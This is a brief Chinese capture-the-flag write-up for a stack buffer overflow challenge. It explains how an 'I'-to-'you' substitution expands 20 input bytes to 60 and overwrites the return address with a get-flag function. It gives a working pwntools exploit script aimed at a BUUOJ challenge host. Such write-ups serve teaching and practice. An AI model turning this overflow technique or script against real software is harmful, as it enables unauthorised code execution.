這題是棧回溯的題目,看原函數發現沒有溢出點,輸入空間夠大而且輸入進行了限制:

但是26行位置進行了替換,當輸入"I"的時候會被替換為you, 所以就可以用 20 個 ”I“ (小於 32) 得到 60 (0x3c)個字符造成溢出,再隨便填一個返回地址就完成溢出。
文件里面有一個get-falg函數:

所以payload如圖:
from pwn import * p=remote("node3.buuoj.cn",28870) addr=0x08048f0d payload=20*'I'+'A'*4 +p32(addr) p.sendline(payload) p.interactive()

